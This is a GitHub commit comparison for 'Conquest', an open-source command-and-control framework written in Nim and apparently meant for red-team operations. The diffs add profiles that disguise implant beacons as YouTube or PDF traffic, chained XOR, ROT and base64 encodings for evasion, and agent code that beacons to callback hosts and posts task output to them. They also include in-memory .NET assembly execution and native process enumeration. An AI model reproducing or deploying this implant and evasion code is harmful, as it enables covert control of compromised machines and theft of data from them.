Compare commits

24 Commits
dev ... main

Author SHA1 Message Date
Jakob Friedl
d4c57cf980 Implemented support for binary prefix/suffix. 2025-11-23 20:40:48 +01:00
Jakob Friedl
fb78ae16cc Implemented chaining multiple encoding techniques for data transformation. 2025-11-21 20:14:21 +01:00
Jakob Friedl
6a20c25085 Updated to TOML v1.0.0. 2025-11-21 15:55:41 +01:00
Jakob Friedl
2f2130927e Added ROT and XOR encoding to data transformation. 2025-11-19 20:42:08 +01:00
Jakob Friedl
8468cfdab7 Removed redundant code in data transformation implementation. 2025-11-19 15:39:36 +01:00
Jakob Friedl
72bc732c89 Heartbeat can be placed in request body again. 2025-11-18 09:43:56 +01:00
Jakob Friedl
3b5b570e24 Update README.md 2025-11-17 09:27:13 +01:00
Jakob Friedl
d66f78337f Fixed nim.cfg. 2025-11-13 11:24:16 +01:00
Jakob Friedl
f24e5752a9 Merge branch 'main' of https://github.com/jakobfriedl/conquest 2025-11-12 19:51:07 +01:00
Jakob Friedl
bb7ed24799 Updated youtube video profile. 2025-11-12 19:50:57 +01:00
Jakob Friedl
8a66e56c5a Updated youtube video profile. 2025-11-10 12:14:00 +01:00
Jakob Friedl
df8453bf1a Implemented hex encoding for data transformation. 2025-11-08 16:16:15 +01:00
Jakob Friedl
b02cc5a331 Implemented data transformation and placement via profile for agent POST requests (task results/registration). 2025-11-08 15:59:36 +01:00
Jakob Friedl
0149a82f60 Added youtube video example profile. 2025-11-07 20:22:13 +01:00
Jakob Friedl
4907639848 Small changes. 2025-11-06 16:48:06 +01:00
Jakob Friedl
b8f57a8074 Updated 'ps' command implementation. 2025-11-05 15:14:05 +01:00
Jakob Friedl
56f244e4d5 Updated 'ps' command implementation. 2025-11-05 13:12:27 +01:00
Jakob Friedl
8a22cf9e53 Client no longer crashes when payload generation modal is closed prematurely. 2025-11-04 22:37:26 +01:00
Jakob Friedl
235479a38b Included user information in 'ps' command. 2025-11-04 15:44:26 +01:00
Jakob Friedl
f3ddc49729 Improved Windows version fingerprinting and fixed console window not being focused on double-click. 2025-11-04 13:53:54 +01:00
Jakob Friedl
315b7fe50a Updated 'upload' command. 2025-11-03 17:56:32 +01:00
Jakob Friedl
032adfa051 Implemented BeaconIsAdmin(). 2025-11-03 14:50:37 +01:00
Jakob Friedl
b1603fc7b6 Host for the websocket server can now be specified in the team server profile. 2025-11-03 09:52:01 +01:00
Jakob Friedl
ec2388d993 Reworked websocket communication to avoid high CPU usage by client application. 2025-11-02 09:57:53 +01:00
37 changed files with 3331 additions and 488 deletions

View File

@@ -53,8 +53,9 @@ The following projects and people have significantly inspired and/or helped with
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
- [winim](https://github.com/khchen/winim)
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim)
- [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim)
- Existing C2's written (partially) in Nim
- [NimPlant](https://github.com/chvancooten/NimPlant)
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
- [grc2](https://github.com/andreiverse/grc2)
- [grc2](https://github.com/andreiverse/grc2)
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)

BIN
assets/modules-10.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 301 KiB

View File

@@ -20,12 +20,11 @@ task client, "Build conquest client binary":
requires "nim >= 2.2.4"
requires "parsetoml >= 0.7.2"
requires "nimcrypto >= 0.6.4"
requires "tiny_sqlite >= 0.2.0"
requires "winim >= 3.9.4"
requires "ptr_math >= 0.3.0"
requires "imguin >= 1.92.2.1"
requires "imguin >= 1.92.4.0"
requires "zippy >= 0.10.16"
requires "mummy >= 0.4.6"
requires "whisky >= 0.1.3"

View File

@@ -7,10 +7,9 @@ database-file = "data/conquest.db"
# Team server settings (WebSocket server port, users, ...)
[team-server]
host = "0.0.0.0"
port = 37573
# [team-server.users]
# ----------------------------------------------------------
# HTTP GET
# ----------------------------------------------------------
@@ -19,14 +18,15 @@ port = 37573
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP GET requests
# This has to be an array, even if it only has one member
endpoints = [
"/get",
"/api/v1.2/status.js"
]
# Defines where the heartbeat is placed within the HTTP GET request
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
# Allows for optional data transformation using encoding (base64, hex, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter or request body
# Encoding is only applied to the payload and not the prepended or appended strings
[http-get.agent.heartbeat]
placement = { type = "header", name = "Authorization" }
@@ -36,13 +36,26 @@ suffix = ".######################################-####"
# Example: PHP session cookie
# placement = { type = "header", name = "Cookie" }
# encoding = { type = "base64", url-safe = true }
# prefix = "PHPSESSID="
# suffix = ", path=/"
# encoding = { type = "base64", url-safe = true }
# Other examples
# placement = { type = "parameter", name = "id" }
# placement = { type = "uri" }
# Example: Hex string in GET parameter
# placement = { type = "query", name = "id" }
# encoding = { type = "hex" }
# Example: Data encoded with multiple techniques in GET request body
# placement = { type = "body" }
# encoding = [
# { type = "rot", key = 5 },
# { type = "base64" }
# ]
# Example: Binary prefix (PDF header)
# placement = { type = "body" }
# encoding = { type = "xor", key = 100 }
# prefix = [0x25, 0x50, 0x44, 0x46]
# suffix = [0x25, 0x25, 0x45, 0x4F, 0x46]
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
@@ -84,32 +97,50 @@ placement = { type = "body" }
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
# This has to be an array, even if it only has one member
endpoints = [
"/post",
"/api/v2/get.js"
]
# Post request can also be sent with the HTTP verb PUT instead
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
request-methods = [
"POST",
"PUT"
]
# Defines arbitrary request headers that are added to the POST request
[http-post.agent.headers]
Host = [
"wikipedia.org",
"google.com",
"127.0.0.1"
]
Content-Type = "application/octet-stream"
Content-Type = "text/plain"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
# Defines arbitrary query parameters that are added to the URI
[http-post.agent.parameters]
lang = [
"en-US",
"de-AT"
]
page = "1$" # The $ character is replaced with a random number
# Defines how the POST requests made by the agents look like
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
# Placing this type of data in the body is highly recommended
[http-post.agent.output]
placement = { type = "body" }
encoding = { type = "hex" }
# prefix = "<START>"
# suffix = "<END>"
# Defines arbitrary response headers added by the server
[http-post.server.headers]
Server = "nginx"
# Defines data that is returned in the body of the server's response
[http-post.server.output]
placement = { type = "body" }
body = "Ok"

141
data/youtube.toml Normal file
View File

@@ -0,0 +1,141 @@
# Conquest youtube video profile
name = "youtube-video-profile"
# Important file paths and locations
private-key-file = "data/keys/conquest-server_x25519_private.key"
database-file = "data/conquest.db"
# Team server settings (WebSocket server port, users, ...)
[team-server]
host = "0.0.0.0"
port = 37573
# ----------------------------------------------------------
# HTTP GET
# ----------------------------------------------------------
# Defines URI endpoints for HTTP GET requests
[http-get]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP GET requests
endpoints = [
"/watch"
]
# Defines where the heartbeat is placed within the HTTP GET request
[http-get.agent.heartbeat]
placement = { type = "header", name = "Cookie" }
encoding = { type = "base64", url-safe = true }
prefix = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA="
suffix = "; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
v = "###########"
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
Host = "www.youtube.com"
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
Sec-Ch-Ua-Mobile = "?0"
Sec-Ch-Ua-Full-Version = "\"\""
Sec-Ch-Ua-Arch = "\"\""
Sec-Ch-Ua-Platform = "\"Windows\""
Sec-Ch-Ua-Platform-Version = "\"\""
Sec-Ch-Ua-Model = "\"\""
Sec-Ch-Ua-Bitness = "\"\""
Sec-Ch-Ua-Wow64 = "?0"
Accept-Language = [
"en-US,en;q=0.9",
"de-AT,de;q=0.9,en;q=0.8"
]
Upgrade-Insecure-Requests = "1"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
Service-Worker-Navigation-Preload = "true"
Sec-Fetch-Site = "none"
Sec-Fetch-Mode = "navigate"
Sec-Fetch-User = "?1"
Sec-Fetch-Dest = "document"
Priority = "u=0, i"
# Defines arbitrary headers that are added to the server\"s response
[http-get.server.headers]
Content-Type = "text/html; charset=utf-8"
X-Content-Type-Options = "nosniff"
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
Pragma = "no-cache"
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
Strict-Transport-Security = "max-age=31536000"
X-Frame-Options = "SAMEORIGIN"
Content-Security-Policy = "require-trusted-types-for \"script\""
Server = "ESF"
X-Xss-Protection = "0"
P3p = "CP=\"This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=de for more info.\""
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
Set-Cookie = "__Secure-YEC=##############################################################################; Domain=.youtube.com; Expires=Mon, 07-Dec-2026 11:39:54 GMT; Path=/; Secure; HttpOnly; SameSite=lax"
# Defines how the server"s response to the task retrieval request is rendered
[http-get.server.output]
placement = { type = "body" }
encoding = { type = "base64" }
prefix = "<!DOCTYPE html><html style=\"font-size: 10px;font-family: Roboto, Arial, sans-serif;\" lang=\"de-DE\"><head><script data-id=\"_gd\" nonce=\"iqZzTrtVB86B0KRGblxg9Q\">window.WIZ_global_data = {\"HiPsbb\":0,\"MUE6Ne\":\"youtube_web\",\"MuJWjd\":false};</script><meta http-equiv=\"origin-trial\" content=\""
suffix = "\"/><script nonce=\"iqZzTrtVB86B0KRGblxg9Q\">var ytcfg={d:function(){return window.yt&&yt.config_||ytcfg.data_||(ytcfg.data_={})},get:function(k,o){return k in ytcfg.d()?ytcfg.d()[k]:o},set:function(){var a=arguments;if(a.length>1)ytcfg.d()[a[0]]=a[1];else{var k;for(k in a[0])ytcfg.d()[k]=a[0][k]}}};window.ytcfg.set(\"EMERGENCY_BASE_URL\", \"/error_204?"
# ----------------------------------------------------------
# HTTP POST
# ----------------------------------------------------------
[http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
endpoints = [
"/youtubei/v1/like/like",
"/youtubei/v1/log_event",
"/youtubei/v1/player"
]
# Post request can also be sent with the HTTP verb PUT instead
request-methods = "POST"
[http-post.agent.headers]
Host = "www.youtube.com"
Referer = "https://www.youtube.com/watch?v=###########"
Content-Type = "application/json"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
Sec-Ch-Ua-Mobile = "?0"
Sec-Ch-Ua-Full-Version = "\"\""
Sec-Ch-Ua-Arch = "\"\""
Sec-Ch-Ua-Platform = "\"Windows\""
Sec-Ch-Ua-Platform-Version = "\"\""
Sec-Ch-Ua-Model = "\"\""
Sec-Ch-Ua-Bitness = "\"\""
Sec-Ch-Ua-Wow64 = "?0"
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
[http-post.agent.parameters]
pretty-print = [
"true",
"false"
]
[http-post.agent.output]
placement = { type = "body" }
encoding = { type = "base64", url-safe = true }
prefix = "{\"context\":{\"client\":{\"hl\":\"de\",\"gl\":\"AT\",\"remoteHost\":\"$$.1$$.$$.1$$\",\"deviceMake\":\"\",\"deviceModel\":\"\",\"visitorData\":\"Cgt1M016MzRrZmhTUSj12MbIBjInCgJBVBIhEh0SGwsMDg8QERITFBUWFxgZGhscHR4fICEiIyQlJiBe\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36,gzip(gfe)\",\"clientName\":\"WEB\",\"clientVersion\":\"2.20251107.01.00\",\"osName\":\"Windows\",\"osVersion\":\"10.0\",\"originalUrl\":\"https://www.youtube.com/\",\"screenPixelDensity\":2,\"platform\":\"DESKTOP\",\"clientFormFactor\":\"UNKNOWN_FORM_FACTOR\",\"configInfo\":{\"appInstallData\":\""
suffix = "\"},\"screenDensityFloat\":1.5,\"userInterfaceTheme\":\"USER_INTERFACE_THEME_DARK\",\"timeZone\":\"Europe/Vienna\",\"browserName\":\"Chrome\",\"browserVersion\":\"142.0.0.0\",\"acceptHeader\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"deviceExperimentId\":\"ChxOelUzTVRBeU1qQTJPVEV4TkRFNU5qUXhOQT09EPXYxsgGGPXYxsgG\",\"rolloutToken\":\"CJu4u9qz64jjcxCr8dad-t-QAxjzyIbunueQAw%3D%3D\",\"screenWidthPoints\":1920,\"screenHeightPoints\":1065,\"utcOffsetMinutes\":60,\"connectionType\":\"CONN_CELLULAR_3G\",\"memoryTotalKbytes\":\"8000000\",\"mainAppWebInfo\":{\"graftUrl\":\"https://www.youtube.com/watch?v=###########&list=RD4WIMyqBG9gs&start_radio=1\",\"pwaInstallabilityStatus\":\"PWA_INSTALLABILITY_STATUS_UNKNOWN\",\"webDisplayMode\":\"WEB_DISPLAY_MODE_BROWSER\",\"isWebNativeShareAvailable\":true}},\"user\":{\"lockedSafetyMode\":false},\"request\":{\"useSsl\":true,\"internalExperimentFlags\":[],\"consistencyTokenJars\":[]},\"clickTracking\":{\"clickTrackingParams\":\"CJgFEKVBIhMIucGi957nkAMVneRJBx3cFhscygEErMFOaw==\"},\"adSignalsInfo\":{\"params\":[{\"key\":\"dt\",\"value\":\"1762765953510\"},{\"key\":\"flash\",\"value\":\"0\"},{\"key\":\"frm\",\"value\":\"0\"},{\"key\":\"u_tz\",\"value\":\"60\"},{\"key\":\"u_his\",\"value\":\"4\"},{\"key\":\"u_h\",\"value\":\"1200\"},{\"key\":\"u_w\",\"value\":\"1920\"},{\"key\":\"u_ah\",\"value\":\"1152\"},{\"key\":\"u_aw\",\"value\":\"1920\"},{\"key\":\"u_cd\",\"value\":\"24\"},{\"key\":\"bc\",\"value\":\"31\"},{\"key\":\"bih\",\"value\":\"1065\"},{\"key\":\"biw\",\"value\":\"1905\"},{\"key\":\"brdim\",\"value\":\"0,0,0,0,1920,0,1920,1152,1920,1065\"},{\"key\":\"vis\",\"value\":\"1\"},{\"key\":\"wgl\",\"value\":\"true\"},{\"key\":\"ca_type\",\"value\":\"image\"}],\"bid\":\"ANyPxKqp2RGW0TLEXMjNbBRm6ZPDYteE8iHnYK0DaJMOiTEHrbqefZtn6qfK_MhA2-ZgnoosEwKaN8pi77jJRptRzz5Rsm-P_w\"}},\"target\":{\"videoId\":\"###########\"},\"params\":\"Cg0KCzRXSU15cUJHOWdzIAAyDAiJ2cbIBhCm6ueLAQ%3D%3D\"}"
[http-post.server.headers]
Content-Type = "application/json; charset=utf-8"
X-Content-Type-Options = "nosniff"
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
Pragma = "no-cache"
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
Server = "ESF"
X-Xss-Protection = "0"
Strict-Transport-Security = "max-age=31536000"
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
[http-post.server.output]
body = "{\"responseContext\": {}}"

View File

@@ -6,13 +6,16 @@
- [Team server settings](#team-server-settings)
- [GET settings](#get-settings)
- [Data transformation](#data-transformation)
- [Chaining Encodings](#chaining-encodings)
- [Binary Prefix/Suffix](#binary-prefixsuffix)
- [More Examples](#more-examples)
- [Request options](#request-options)
- [Response options](#response-options)
- [POST settings](#post-settings)
## General
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies.
Conquest supports malleable C2 profiles written using the TOML configuration language and fully support the TOML v1.0.0 spec. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. There is also the `$` wildcard, which is replaced by a single digit, for randomizing numeric values.
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
@@ -23,10 +26,11 @@ database-file = "data/conquest.db"
```
## Team server settings
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block.
The team server settings currently only include the host and port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. By default, the team server listens on all interfaces on port 37573 for client connections.
```toml
[team-server]
host = "0.0.0.0"
port = 37573
```
@@ -49,12 +53,13 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
| Name | Type | Description |
| --- | --- | --- |
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query` and `body`.|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
| prefix | STRING | String to prepend before the heartbeat payload. |
| suffix | STRING | String to append after the heartbeat payload. |
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex`, `rot`, `xor` and `none` (default) |
| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
| encoding.key | INTEGER | Only used if encoding.type is set to `xor` or `rot`. The `rot` setting applies a Caesar cipher, while `xor` simply XOR-encodes the data. |
| prefix | STRING/ARRAY | String to prepend before the heartbeat payload. |
| suffix | STRING/ARRAY | String to append after the heartbeat payload. |
The order of operations is:
1. Encoding
@@ -66,9 +71,6 @@ On the other hand, the server processes the requests in the following order:
2. Removal of prefix & suffix
3. Decoding
> [!NOTE]
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
```toml
@@ -81,8 +83,36 @@ suffix = ".######################################-####"
![Heartbeat in Authorization Header](../assets/profile-1.png)
#### Chaining Encodings
Multiple encodings can be applied to a packet by defining them in an array of inline-tables, as seen in the example below. The encodings are applied in the order they are defined in the profile. During the decoding of the data transformation, this order is reversed. Hence, the example below first applies the ROT encoding with the key 5 on the data and later base64-encodes it. The reversal starts with the base64-decoding and a rotation in the opposite direction.
```toml
placement = { type = "body" }
encoding = [
{ type = "rot", key = 5 },
{ type = "base64" }
]
```
#### Binary Prefix/Suffix
Instead of using strings for the prefix and suffix, it is also possible to use an array of integers to define the bytes that will be prepended/appended. Hex-formatting is supported, so something like the following can be used. This is useful to create requests that resemble binary data, such as PNGs and PDFs.
```toml
placement = { type = "body" }
encoding = { type = "xor", key = 100 }
prefix = [0x25, 0x50, 0x44, 0x46] # %PDF
suffix = [0x25, 0x25, 0x45, 0x4F, 0x46] # %%EOF
```
#### More Examples
Check the [default profile](../data/profile.toml) for more examples.
Other example profiles:
- [youtube.profile](../data/youtube.toml): Traffic that resembles watching and interacting with Youtube videos.
### Request options
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
@@ -127,24 +157,26 @@ placement = { type = "body" }
## POST settings
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. Under `[http-post.agent.output]`, it is possible to define how the POST requests made to the server by the agents look like. The same data transformation techniques can be applied. For example, it would be possible to hide task output as a base64 string within a JSON object. The `[http-post.server.output]` block can be used to customize the server's response.
```toml
[http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
# This has to be an array, even if it only has one member
endpoints = [
"/post",
"/api/v2/get.js"
]
# Post request can also be sent with the HTTP verb PUT instead
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
request-methods = [
"POST",
"PUT"
]
# Defines arbitrary request headers that are added to the POST request
[http-post.agent.headers]
Host = [
"wikipedia.org",
@@ -155,14 +187,28 @@ Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
# Defines arbitrary query parameters that are added to the URI
[http-post.agent.parameters]
lang = [
"en-US",
"de-AT"
]
# Defines how the POST requests made by the agents look like
# Placing this type of data in the body is highly recommended due to the size of certain task results
[http-post.agent.output]
placement = { type = "body" }
encoding = { type = "none" }
# prefix = ""
# suffix = ""
# Defines arbitrary response headers added by the server
[http-post.server.headers]
Server = "nginx"
# Defines data that is returned in the body of the server's response
[http-post.server.output]
placement = { type = "body" }
body = ""
```
![POST request with task data](../assets/profile-3.png)

View File

@@ -304,13 +304,14 @@ Arguments:
### upload
Upload a file from the operator Desktop to the targe system.
```
Usage : upload <file>
Usage : upload <file> [destination]
Example : upload /path/to/payload.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* file BINARY YES Path to file to upload to the target machine.
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
```
## SCREENSHOT
@@ -333,6 +334,8 @@ Usage : ps
Example : ps
```
![Ps command](../assets/modules-10.png)
### env
Display environment variables.
```

View File

@@ -1,5 +1,4 @@
import winim/[lean, clr]
import os
import ../utils/[hwbp, io]
import ../../common/utils
@@ -60,7 +59,7 @@ proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[stri
# Create AppDomain
let appDomainType = mscorlib.GetType(protect("System.AppDomain"))
let domainSetup = mscorlib.new(protect("System.AppDomainSetup"))
domainSetup.ApplicationBase = getCurrentDir()
domainSetup.ApplicationBase = protect("C:/Windows/System32")
domainSetup.DisallowBindingRedirects = false
domainSetup.DisallowCodeDownload = true
domainSetup.ShadowCopyFiles = protect("false")

View File

@@ -1,6 +1,5 @@
import parsetoml, system
import ../utils/io
import ../../common/[types, utils, crypto, serialize]
import ../../common/[types, utils, crypto, profile, serialize]
const CONFIGURATION {.strdefine.}: string = ""

View File

@@ -1,57 +1,46 @@
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import httpclient, strformat, strutils, asyncdispatch, base64, tables, random
import ../utils/io
import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Apply data transformation
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
var body: string = ""
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue())
for header in ctx.profile.getTableKeys(protect("http-get.agent.headers")):
client.headers.add(header.key, header.value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of protect("parameter"):
of protect("query"):
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("uri"):
discard
of protect("body"):
discard
body = payload
else:
discard
# Define additional request parameters
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&"
for param in ctx.profile.getTableKeys(protect("http-get.agent.parameters")):
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
@@ -62,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
let
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of protect("none"):
return encResponse
# Reverse data transformation
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -88,24 +68,42 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue())
for header in ctx.profile.getTableKeys(protect("http-post.agent.headers")):
client.headers.add(header.key, header.value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data)
# Apply data transformation
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
var body: string = ""
# Add task result to the request
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-post.agent.output.placement.name")), payload)
of protect("query"):
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("body"):
body = payload # Set the request body to the "prefix & task output & suffix" construct
else:
discard
# Define additional request parameters
for param in ctx.profile.getTableKeys(protect("http-post.agent.parameters")):
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
try:
# Send post request to team server
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
discard waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", requestMethod, body)
except CatchableError as err:
print "[-] ", err.msg

102
src/agent/core/process.nim Normal file
View File

@@ -0,0 +1,102 @@
import winim/lean
import tables
import ../utils/io
import ../../common/utils
import token
type
ProcessInfo* = object
pid*: DWORD
ppid*: DWORD
name*: string
user*: string
session*: ULONG
children*: seq[DWORD]
NtQuerySystemInformation = proc(systemInformationClass: SYSTEM_INFORMATION_CLASS, systemInformation: PVOID, systemInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
proc cmp*(x, y: ProcessInfo): int =
return cmp(x.pid, y.pid)
#[
Retrieve snapshot of all currently running processes using NtQuerySystemInformation
]#
proc processSnapshot*(): PSYSTEM_PROCESS_INFORMATION =
var
pSystemProcInfo: PSYSTEM_PROCESS_INFORMATION
status: NTSTATUS = 0
returnLength: ULONG = 0
let pNtQuerySystemInformation = cast[NtQuerySystemInformation](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQuerySystemInformation")))
